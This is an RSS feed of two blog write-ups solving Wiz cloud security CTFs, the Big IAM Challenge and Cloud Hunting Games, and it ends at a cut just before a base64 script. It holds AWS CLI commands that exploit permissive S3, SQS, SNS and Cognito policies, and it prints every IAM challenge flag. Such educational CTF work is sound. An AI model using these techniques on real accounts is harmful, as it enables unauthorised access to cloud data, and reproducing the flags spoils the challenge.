<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Arnav Tripathy on Medium]]></title>
        <description><![CDATA[Stories by Arnav Tripathy on Medium]]></description>
        <link>https://medium.com/@arnavtripathy98?source=rss-7e79b46d5b60------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kCMH15VZ1KH9B8Z6MNlPhw.jpeg</url>
            <title>Stories by Arnav Tripathy on Medium</title>
            <link>https://medium.com/@arnavtripathy98?source=rss-7e79b46d5b60------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 17:00:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@arnavtripathy98/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Solving a Cloud IAM Challenge : The Big IAM Challenge]]></title>
            <link>https://medium.com/devsecops-ai/solving-a-cloud-iam-challenge-the-big-iam-challenge-6feaf9de051c?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/6feaf9de051c</guid>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[container-security]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Tue, 27 May 2025 11:02:30 GMT</pubDate>
            <atom:updated>2025-06-02T09:35:02.635Z</atom:updated>
            <content:encoded><![CDATA[<h3>Solving a Cloud IAM Challenge : The Big IAM Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mi9Q05lEveL_AysVeiS_tA.png" /><figcaption>The Challenge Homepage</figcaption></figure><p>After solving the <a href="https://medium.com/@arnavtripathy98/solving-a-cloud-ctf-cloud-hunting-games-4fa54ff46232">Cloud Hunting Challenge</a> , I discovered that Wiz had also created an <a href="https://bigiamchallenge.com/challenge/1">IAM challenge </a>which looked interesting. This challenge involves a whitebox pentest of AWS IAM policies and how they can be bypassed to fetch flags. There was a ton of learning behind these challenges and it did take a few days for me to completely solve this and also understand the mechanism behind it. In this blog, we solve this together and also do our best to explain how it was solved.</p><h3>Challenge 1: Buckets of Fun</h3><p>Description : We all know that public buckets are risky. But can you find the flag? IAM policy given below:</p><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: &quot;*&quot;,<br>            &quot;Action&quot;: &quot;s3:GetObject&quot;,<br>            &quot;Resource&quot;: &quot;arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*&quot;<br>        },<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: &quot;*&quot;,<br>            &quot;Action&quot;: &quot;s3:ListBucket&quot;,<br>            &quot;Resource&quot;: &quot;arn:aws:s3:::thebigiamchallenge-storage-9979f4b&quot;,<br>            &quot;Condition&quot;: {<br>                &quot;StringLike&quot;: {<br>                    &quot;s3:prefix&quot;: &quot;files/*&quot;<br>                }<br>            }<br>        }<br>    ]<br>}</pre><p>Solution: This one is pretty straightforward, as per the challenge, the mentioned bucket seems to be publicly accessible and a directory named <strong>files </strong>seems to be the key to the solution.</p><p>Bucket URL: <a href="https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com/files/flag1.txt">https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com/files/flag1.txt</a></p><p>Flag: {wiz:exposed-storage-risky-as-usual}</p><h3>Challenge 2: Google Analytics</h3><p>Description: We created our own analytics system specifically for this challenge. We think it’s so good that we even used it on this page. What could go wrong?</p><p>Join our queue and get the secret flag. IAM policy given below:</p><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: &quot;*&quot;,<br>            &quot;Action&quot;: [<br>                &quot;sqs:SendMessage&quot;,<br>                &quot;sqs:ReceiveMessage&quot;<br>            ],<br>            &quot;Resource&quot;: &quot;arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2&quot;<br>        }<br>    ]<br>}</pre><p>Solution: Upon viewing the page source of the challenge, we come across this piece of code:</p><pre>// Initialize the Amazon Cognito credentials provider<br>  AWS.config.region = &#39;us-east-1&#39;;<br>AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: &#39;us-east-1:c6f3eb2e-3cb5-404e-93bc-f0bdf7ad042e&#39;});<br>// Set the region<br>AWS.config.update({region: &#39;us-east-1&#39;});<br><br>// Create an SQS service object for Web Analytics.<br>// Log trafic from all users into SQS.<br>var sqs = new AWS.SQS({apiVersion: &#39;2012-11-05&#39;});<br><br>var params = {<br>  DelaySeconds: 0,<br>  MessageBody: JSON.stringify({&quot;URL&quot;: document.location.href, &quot;User-Agent&quot;: navigator.userAgent, &quot;IsAdmin&quot;: false}),<br>  QueueUrl: &quot;https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2&quot;<br>};<br><br>sqs.sendMessage(params, function(err, data) {<br>  if (err) {<br>    console.log(&quot;Error&quot;, err);<br>  } else {<br>    console.log(&quot;Success&quot;, data.MessageId);<br>  }<br>});</pre><p>The code is generating credentials from AWS Cognito and sending a message to the queue data regarding the page most likely as part of analytics. Since we know we can send and receive messages to the queue without IAM authentication, we can try sending and receiving messages using the given IAM permissions in the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7j6-YdOUpsHjlgPIjATI5w.png" /><figcaption>AWS SQS command to receive messages from Queue</figcaption></figure><p>Command used:</p><pre> aws sqs receive-message \<br>  --queue-url &quot;https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2&quot; \<br>  --max-number-of-messages 5 \<br>  --visibility-timeout 30 \<br>  --wait-time-seconds 10 \<br>  --region us-east-1</pre><p>In the output of Body, we see a a bucket URL <a href="https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html">https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html</a> . Opening that, we get the flag value.</p><p>Flag: {wiz:you-are-at-the-front-of-the-queue}</p><h3>Challenge 3 : Enable Push Notifications</h3><p>Description: We got a message for you. Can you get it? IAM Policy given below:</p><pre>{<br>    &quot;Version&quot;: &quot;2008-10-17&quot;,<br>    &quot;Id&quot;: &quot;Statement1&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Sid&quot;: &quot;Statement1&quot;,<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: {<br>                &quot;AWS&quot;: &quot;*&quot;<br>            },<br>            &quot;Action&quot;: &quot;SNS:Subscribe&quot;,<br>            &quot;Resource&quot;: &quot;arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications&quot;,<br>            &quot;Condition&quot;: {<br>                &quot;StringLike&quot;: {<br>                    &quot;sns:Endpoint&quot;: &quot;*@tbic.wiz.io&quot;<br>                }<br>            }<br>        }<br>    ]<br>}</pre><p>Solution: This challenge took me a lot of time since I was not very familiar with AWS SNS. Looking that the challenge, the logical approach was to somehow subscribe to the SNS topic which would most likely have the flag as part of the solution. Having worked with Firebase topics before, I did have some idea though.</p><p>As per the policy, any endpoint(can be any protocol like https , email,etc) ending with ‘@tbic.wiz.io’ will have the permission to subscribe to the topc for further alerts. We cannot use email since we don’t have an inbox with the given domain. Let’s try to validate our hypothesis that we can subscribe to the topic using our default permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CoHKFdyObjIcbzVKJtVmSA.png" /><figcaption>SNS Subscription to email successful</figcaption></figure><p>Command used:</p><pre>aws sns subscribe \<br>  --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \<br>  --protocol email \<br>  --notification-endpoint test@tbic.wiz.io \<br>  --region us-east-1</pre><p>Since we don’t control any inbox with that domain, lets generate an endpoint which ends with the given condition and use it to subscribe to the topic using https protocol. Reference on how to go about it is below:</p><p><a href="https://docs.aws.amazon.com/sns/latest/dg/sns-subscribe-https-s-endpoints-to-topic.html">Subscribing an HTTPS endpoint to an Amazon SNS topic</a></p><p>Let us generate the endpoint using the below steps</p><p>Create a <a href="https://ngrok.com/">Ngrok </a>account and setup token in your system.</p><p>Next, write a simple flask server (I used Chatgpt btw) which can act as the subscription endpoint as per the references and condition of endpoint as per the IAM policy. Below is the code I used.</p><pre>from flask import Flask, request, jsonify<br>import requests<br>import json<br><br>app = Flask(__name__)<br><br>@app.route(&#39;/admin@tbic.wiz.io&#39;, methods=[&#39;POST&#39;]) #Policy endpoint as per policy<br>def sns_handler():<br>    sns_message_type = request.headers.get(&#39;x-amz-sns-message-type&#39;)<br>    print(f&quot;\n=== New Request Received ===&quot;)<br>    print(f&quot;Message Type: {sns_message_type}&quot;)<br><br>    try:<br>        # Manually load JSON from raw data<br>        raw_data = request.data.decode(&#39;utf-8&#39;)<br>        payload = json.loads(raw_data)<br>        print(f&quot;Payload:\n{json.dumps(payload, indent=2)}&quot;)<br>    except Exception as e:<br>        error_msg = f&quot;Error parsing JSON: {e}&quot;<br>        print(error_msg)<br>        return error_msg, 400<br><br>    if sns_message_type == &#39;SubscriptionConfirmation&#39;:<br>        subscribe_url = payload.get(&#39;SubscribeURL&#39;)<br>        if subscribe_url:<br>            print(f&quot;Confirming subscription using URL: {subscribe_url}&quot;)<br>            try:<br>                response = requests.get(subscribe_url)<br>                result = &#39;Subscription confirmed&#39; if response.status_code == 200 else f&quot;Failed to confirm: {response.status_code}&quot;<br>                print(f&quot;Response: {result}&quot;)<br>                return result, 200<br>            except Exception as e:<br>                error_msg = f&quot;Error confirming subscription: {e}&quot;<br>                print(error_msg)<br>                return error_msg, 500<br>        else:<br>            error_msg = &#39;SubscribeURL not found&#39;<br>            print(error_msg)<br>            return error_msg, 400<br><br>    elif sns_message_type == &#39;Notification&#39;:<br>        message = payload.get(&#39;Message&#39;)<br>        print(f&quot;Received notification message:\n{message}&quot;)<br>        return_msg = &#39;Notification processed&#39;<br>        print(f&quot;Response: {return_msg}&quot;)<br>        return return_msg, 200<br><br>    else:<br>        msg = f&quot;Unhandled message type: {sns_message_type}&quot;<br>        print(msg)<br>        return msg, 400<br><br>if __name__ == &#39;__main__&#39;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=8000)</pre><p>Run the flask endpoint and also expose the endpoint in Ngrok in separate tabs of terminal. Research how to do it:).</p><p>Ngrok gave me this temporary link for expose <a href="https://5357-185-134-146-211.ngrok-free.app/">https://5357-185-134-146-211.ngrok-free.app</a> . Lets use this link to subscribe to the topic using aws cli in terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Tj-R7j6_q-3xzqu5IsXFw.png" /><figcaption>SNS subsciption command</figcaption></figure><p>Command used as below:</p><pre>aws sns subscribe \<br>--topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \ <br>--protocol https \ <br>--notification-endpoint https://5357-185-134-146-211.ngrok-free.app//admin@tbic.wiz.io \ <br>--region us-east-1</pre><p>We get the subscription request in our tiny webserver:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QbbuItXBgOMFWDoLUFw_zA.png" /><figcaption>Response from server</figcaption></figure><p>We get the flag as part of the message.</p><p>Flag : {wiz:always-suspect-asterisks}</p><p>The code automatically subscribes to the SNS by searching for the URL in response. Hence nothing more was needed to be done. Usually, you would have to manually visit the subscription URL generated in response.</p><h3>Challenge 4: Admin only?</h3><p>We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? IAM Policy given below:</p><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: &quot;*&quot;,<br>            &quot;Action&quot;: &quot;s3:GetObject&quot;,<br>            &quot;Resource&quot;: &quot;arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*&quot;<br>        },<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: &quot;*&quot;,<br>            &quot;Action&quot;: &quot;s3:ListBucket&quot;,<br>            &quot;Resource&quot;: &quot;arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321&quot;,<br>            &quot;Condition&quot;: {<br>                &quot;StringLike&quot;: {<br>                    &quot;s3:prefix&quot;: &quot;files/*&quot;<br>                },<br>                &quot;ForAllValues:StringLike&quot;: {<br>                    &quot;aws:PrincipalArn&quot;: &quot;arn:aws:iam::133713371337:user/admin&quot;<br>                }<br>            }<br>        }<br>    ]<br>}</pre><p>Solution: This one took me way longer that I thought to figure out. Initially I thought I could bruteforce the flag key since I was allowed to fetch objects without restriction but I knew AWS would have blocked me. Until I finally came across this blog <a href="https://awstip.com/creating-unintentional-ways-to-bypass-aws-iam-policies-when-using-the-forallvalues-operator-3516a7f17ed0">https://awstip.com/creating-unintentional-ways-to-bypass-aws-iam-policies-when-using-the-forallvalues-operator-3516a7f17ed0</a> about the “ForAllValues” condition which stated that this is a dangerous policy and can work for null values of PrincipalArn (unauthenticated) as well. We tried to list bucket using below command from terminal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*znom6GHwJWe6fl8m9bYdZw.png" /><figcaption>List buckets without any ARN</figcaption></figure><p>Command used:</p><pre>aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request</pre><p>I could see the flag, I grabbed the flag(try to find command yourself) .</p><p>Flag : {wiz:principal-arn-is-not-what-you-think}</p><h3>Challenge 5: Do I know you?</h3><p>Desciption: We configured AWS Cognito as our main identity provider. Let’s hope we didn’t make any mistakes. IAM Policy as below:</p><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Sid&quot;: &quot;VisualEditor0&quot;,<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Action&quot;: [<br>                &quot;mobileanalytics:PutEvents&quot;,<br>                &quot;cognito-sync:*&quot;<br>            ],<br>            &quot;Resource&quot;: &quot;*&quot;<br>        },<br>        {<br>            &quot;Sid&quot;: &quot;VisualEditor1&quot;,<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Action&quot;: [<br>                &quot;s3:GetObject&quot;,<br>                &quot;s3:ListBucket&quot;<br>            ],<br>            &quot;Resource&quot;: [<br>                &quot;arn:aws:s3:::wiz-privatefiles&quot;,<br>                &quot;arn:aws:s3:::wiz-privatefiles/*&quot;<br>            ]<br>        }<br>    ]<br>}</pre><p>Solution: This challenge involves some basic playing around with AWS Cognito. Let us understand Cognito a bit before going through with this challenge.</p><p>AWS Cognito is a service which provides a simple way for users to manage users(Authentication and Authorization) within their web application. It generally consists of two major things:</p><ul><li>UserPool : This is a user directory of list of users to manage. When a user signs up, an entry is created</li><li>IdentityPool : This is a list of permissions a user is allowed when authenticated within Cognito. You can either provide unauthenticated access , also called guest access using temporary credentials or authenticated access.</li></ul><p>Keeping these two things in mind, lets solve the challenge. We do a view page source for the challenge and come across this piece of JS code:</p><pre>  AWS.config.region = &#39;us-east-1&#39;;<br>  AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: &quot;us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b&quot;});<br>  // Set the region<br>  AWS.config.update({region: &#39;us-east-1&#39;});<br><br>  $(document).ready(function() {<br>    var s3 = new AWS.S3();<br>    params = {<br>      Bucket: &#39;wiz-privatefiles&#39;,<br>      Key: &#39;cognito1.png&#39;,<br>      Expires: 60 * 60<br>    }<br><br>    signedUrl = s3.getSignedUrl(&#39;getObject&#39;, params, function (err, url) {<br>      $(&#39;#signedImg&#39;).attr(&#39;src&#39;, url);<br>    });<br>});</pre><p>In this code, user is being authenticated via Cognito and able to fetch an image from a S3 bucket to display on the page. Since there is no authentication in the page and as per the second line of code, the guest access is being used to fetch the bucket. Ref for code on how I figured out it is guest access:</p><p><a href="https://docs.aws.amazon.com/location/previous/developerguide/authenticating-using-cognito.html">Use Amazon Cognito to authenticate</a></p><p>So we know that this particular identity pool allows guest access. We also know from the IAM policy that the guest access should have access to list and get objects from the bucket. So all we need to do is generate temporary credentials and fetch the flag from the bucket. Let’s do that.</p><p>First we need to fetch an Identity ID. An Identity ID is created whenever an unauthenticated user makes a call for a guest access to generate temporary credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HoJiXZYs4Bl6Dxl1ioVpoA.png" /><figcaption>Identity ID generated</figcaption></figure><p>Command used:</p><pre>aws cognito-identity get-id \<br>  --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b \<br>  --region us-east-1</pre><p>Now let’s use this Identity ID ‘us-east-1:157d6171-ee22-cc06–9d1c-153744b80ff7’ to generate temporary credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TbFkBANInWWR6G04xR4fiQ.png" /><figcaption>Temp creds for the Identity ID</figcaption></figure><p>Command used:</p><pre>aws cognito-identity get-credentials-for-identity \<br>  --identity-id us-east-1:157d6171-ee22-cc06-9d1c-153744b80ff7 \<br>  --region us-east-1</pre><p>For some reason I was not able to do it in the given terminal, so I imported the credentials in my local setup:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sz3qWx7mYdVKC5eqWCe25A.png" /><figcaption>Successfully imported creds in my pc</figcaption></figure><p>Now list the given bucket and grab the flag :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*mD61OoC9zh8NWalNAv9MoA.png" /><figcaption>Flag grabbed for Challenge 5</figcaption></figure><p>Flag : {wiz:incognito-is-always-suspicious}</p><h3>Challenge 6: One final push</h3><p>Description: Anonymous access no more. Let’s see what can you do now.</p><p>Now try it with the authenticated role: <em>arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role</em></p><p>IAM Policy given below:</p><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: {<br>                &quot;Federated&quot;: &quot;cognito-identity.amazonaws.com&quot;<br>            },<br>            &quot;Action&quot;: &quot;sts:AssumeRoleWithWebIdentity&quot;,<br>            &quot;Condition&quot;: {<br>                &quot;StringEquals&quot;: {<br>                    &quot;cognito-identity.amazonaws.com:aud&quot;: &quot;us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b&quot;<br>                }<br>            }<br>        }<br>    ]<br>}</pre><p>Solution: As per the policy, any user from the given Identity pool can use this policy most likely to assume the role given in description (Cognito_s3accessAuth_Role). The steps till we get access to the identitypool are same same so will not be repeating it here as well. Please try it yourself till you get the below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7BYkWNH63aAijsaT21wFg.png" /><figcaption>Unauth Identity Pool access</figcaption></figure><p>As per online sources, to assume another role, I would need a JWT token for the guest user. We can get the JWT token using the below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*leWaJDGIQme_m_jNSYiHVw.png" /><figcaption>Generate JWT token for the user</figcaption></figure><pre>aws cognito-identity get-open-id-token \<br>  --identity-id us-east-1:157d6171-ee40-cc8b-fbd9-9c65c708e488 \<br>  --region us-east-1</pre><p>Once we get the token, save the token in a token.jwt file, then fetch creds assume the role using below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OshfsVtRK6nn6Z869WlhpQ.png" /><figcaption>Generated session token for role</figcaption></figure><pre>aws sts assume-role-with-web-identity \<br>  --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role \<br>  --role-session-name CognitoSession \<br>  --web-identity-token file://token.jwt \<br>  --region us-east-1</pre><p>After exporting the creds , we are the Role which we were asked to 🔥</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*AixjCCuh_IF1XkxsUx-t7g.png" /><figcaption>Role Cognito_s3accessAuth_Role</figcaption></figure><p>After this step I was a bit confused on what to do for the flag. I just listed all the buckets this role has permission to list. Sure enough I found the required bucket and the flag soon:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*yVFtw6vHPVOLC1SdWdoqFg.png" /><figcaption>Permission to list all buckets</figcaption></figure><p>Flag: {wiz:open-sesame-or-shell-i-say-openid}</p><p>We have successfully completed the challenge. This was an amazing challenge by Wiz labs on AWS permissions. I learnt a lot about IAM policies along with AWS Cognito service. Would recommend all cloud security engineers to try this out :)</p><p>Cert link : <a href="https://bigiamchallenge.com/finisher/otHhE6LV">https://bigiamchallenge.com/finisher/otHhE6LV</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6feaf9de051c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/devsecops-ai/solving-a-cloud-iam-challenge-the-big-iam-challenge-6feaf9de051c">Solving a Cloud IAM Challenge : The Big IAM Challenge</a> was originally published in <a href="https://medium.com/devsecops-ai">DevSecOps &amp; AI</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solving a Cloud CTF : Cloud Hunting Games]]></title>
            <link>https://medium.com/devsecops-ai/solving-a-cloud-ctf-cloud-hunting-games-4fa54ff46232?source=rss-7e79b46d5b60------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fa54ff46232</guid>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Arnav Tripathy]]></dc:creator>
            <pubDate>Fri, 16 May 2025 06:07:35 GMT</pubDate>
            <atom:updated>2025-06-02T09:35:08.535Z</atom:updated>
            <content:encoded><![CDATA[<h3>Solving a Cloud CTF : Cloud Hunting Games</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kCm4-u6tdJOD_hXWdA-r9w.png" /><figcaption>Cloud Hunting Games by Wiz</figcaption></figure><p>While browsing on Linkedin, I came across a CTF named <a href="https://www.cloudhuntinggames.com/">The Cloud Hunting Games</a> by Wiz labs. Having solved a <a href="https://medium.com/@arnavtripathy98/solving-a-kubernetes-ctf-k8s-lan-party-c773190e9246">Kubernetes CTF</a> by Wiz labs before(which I thoroughly enjoyed), I had to take a look at this CTF as well. In this blog, we look into how this CTF was solved.</p><h3>Premise</h3><p><strong>ExfilCola</strong>, a promising startup with a revolutionary soda formula that could break the duopoly of the cola giants, has received a data extortion email from a threat group known as “FizzShadows”, claiming to have breached their systems.</p><p>If the secret recipe is stolen, the future of the company is at immediate risk. As the chosen expert, you must prevent the formula from being exposed before it’s too late<strong>.</strong></p><p>We also have a mail attached for reference:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYdf3I3OIxoG5Rw4yjZqSg.png" /><figcaption>Email by attackers</figcaption></figure><p>The key takeaway from the mail is that the incident might have occured around May 6th, 2025.</p><h3>Challenge 1: Ain’t no data when she’s gone</h3><p>Description: FizzShadows claim that they were able to exfiltrate ExfilCola’s secret recipes. You have to validate this claim before considering any further steps.</p><p>All ExfilCola’s secret recipes are stored in a secured S3 bucket. Luckily, their security team was responsible enough to make sure that S3 data events were collected. You’ve been granted access to these logs, which are available in the s3_data_events table.</p><p>Go ahead and see if there are any traces of exfiltration: find the IAM role involved in the attack.</p><p>Solution: We are presented with a terminal where we can run SQLITE queries for s3_data_events table as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2kOnbqIHteKuOHfN1ee-Iw.png" /><figcaption>Running the initial query</figcaption></figure><p>First things first, lets sort the events into descending order so that we can take a look at logs closer to the presumed attack date ( May 6th 2025)</p><p>SELECT * FROM s3_data_events ORDER BY EventTime DESC</p><p>Skimming through results , we come across the bucket name soda-vault which will most likely be the bucket hosting the secret recipes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*gl2U6pYqavNfT5kyCI9IRw.png" /><figcaption>Bucket name : Soda-vault</figcaption></figure><p>Lets run a query to just filter out this bucket events:</p><p>SELECT * FROM s3_data_events WHERE requestParameters LIKE ‘%soda-vault%’ ORDER BY EventTime DESC</p><p>Now in the results if you check, you will come across a series of logs where there is a PUT operation for a file letter.txt , which most likely corresponds to the attackers sending a message. Along with the operation , you will see multiple GET operations to files which appear to be recipes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*sCy1uQVGxDnJ3J1jjFg51w.png" /><figcaption>Recipe files</figcaption></figure><p>The role corresponding to these logs were found to be as below:<br><strong>arn:aws:sts::509843726190:assumed-role/S3Reader/drinks</strong></p><p>Note — For upcoming challenges with SQLITE terminal, I will include less screenshots and explanation for queries</p><h3>Challenge 2 : Follow, follow the trail</h3><p>Description: So you have managed to validate FizzShadows’ claim and track the IAM role that has exfiltrated ExfilCola’s recipe. You’ve been granted access to the cloudtrail table.</p><p>Follow the trail of the S3Reader. Who used it?</p><p>Solution: We are presented with a terminal where we can run SQLITE queries for <strong>cloudtrail </strong>table. We sort the eventlogs by descending order of EventTime as explained previously.</p><p>Before we proceed, we need to understand how to assumed role name we found previously is constructed. The key part being — <strong>S3Reader </strong>is the role name which was assumed and <strong>drinks </strong>is the assumed role session name.</p><p>Scrolling through logs, we see whenever there is a AssumeRole event, the roleSessionName is added in the requestParameters section</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgU--zyz4Sthqkh8l6aocQ.png" /><figcaption>Cloudtrail logs</figcaption></figure><p>Using the below query , we can find the IAM user which was used to assume the role:</p><p>SELECT * FROM cloudtrail where requestParameters LIKE “%drinks%” ORDER BY EventTime DESC</p><p>The username was discovered to be <strong>Moe.Jito</strong></p><h3>Challenge 3: Deeper into the trail</h3><p>Description: Bingo — you’ve tracked down the compromised IAM user: Moe.Jito. Keep digging through the CloudTrail logs.</p><p>Follow the attacker’s footsteps and find the machine that was compromised and leveraged for lateral movement.</p><p>Solution: For this challenge, I was scrolling through logs , until I came across an interesting EventName called <strong>UpdateFunctionCode20150331v2</strong> which was on May 5th. Upon googling the event and coming across this <a href="https://research.splunk.com/cloud/211b80d3-6340-4345-11ad-212bf3d0d111/">blog</a>, it is quite possible that attacker was trying to modify the code of this lambda instance for persistence or movement purposes. The lambda instance ID was <strong>i-0a44002eec2f16c25 </strong>which was the correct answer.</p><h3>Challenge 4 : Ain’t no mountain high enough to keep me away from my logs</h3><p>Description: Great progress! As you continue your investigation, you discover that once the attacker compromised the EC2 machine, they were able to manipulate a Lambda function to gain access to multiple IAM users. ExfilCola has granted you root access to the EC2 machine where this activity originated from.</p><p>But the question remains — how did the attacker gain access to this machine?</p><p>Your task is to find the IP address of another ExfilCola workload that was used as the initial entry point into the organization.</p><p>Solution: We are in a terminal of the EC2 machine. We try checking for logs but realize that they have been deleted and a message has been dropped below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*_6b55NgdjMsyZuXH1fyQLQ.png" /><figcaption>Message by FizzShadows</figcaption></figure><p>We checked around for any signs and opened files like /etc/passwd, /etc/fstab. But since couldn’t find any signs, gave up and used a hint below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*i7N14Hx78xUbaU5HWRPJHA.png" /><figcaption>Hint for Challenge 4</figcaption></figure><p>Running findmnt command, we find out that /var/log/ is mounted. We unmount the device using the command <strong>umount /var/log</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*LJ5TtL0kXfD9aubR2bBGAg.png" /></figure><p>In /var/log folder we find the auth.log which might contain clues about any other SSH activities:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y4zTyZLxeEowzrJY31UdMA.png" /><figcaption>SSH logs</figcaption></figure><p>The SSH logs indicate that there have been continous connections from an IP <strong>102.54.197.238 </strong>and user postgresql-user . The IP is the answer to the question.</p><h3>Challenge 5 : Now you’re just somebody that I used to log</h3><p>Description: Wow, you rock! Now you know that the attacker has laterally moved from a workload within the organization to a high privileged machine, ssh-fetcher, via SSH. ExfilCola has granted you root access to the PostgreSQL service where this activity originated from.</p><p>ExfilCola really doesn’t want to pay the ransom but can’t afford for the secret recipe to be published. Can you save the day?</p><p>It seems like the attacker is persistent — literally…</p><p>Delete the secret recipe from the attacker’s server.</p><p>Solution: We are presented with the terminal of the postgres machine. Based on the description plus some prior CTF experience, we can make a good estimation that attacker might have used cronjobs to persist. While /etc/crontab was empty, we found the cron in /var/spool/crontabs as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c79SXSDxsOp_yJJgd3YfWg.png" /><figcaption>Persistent cron</figcaption></figure><p>A script present at <strong>/var/lib/postgresql/data/pg_sched </strong>seems to be executed at constant intervals. Lets take a look at the script. This appears to be a base64 encoded script.</p><pre>echo 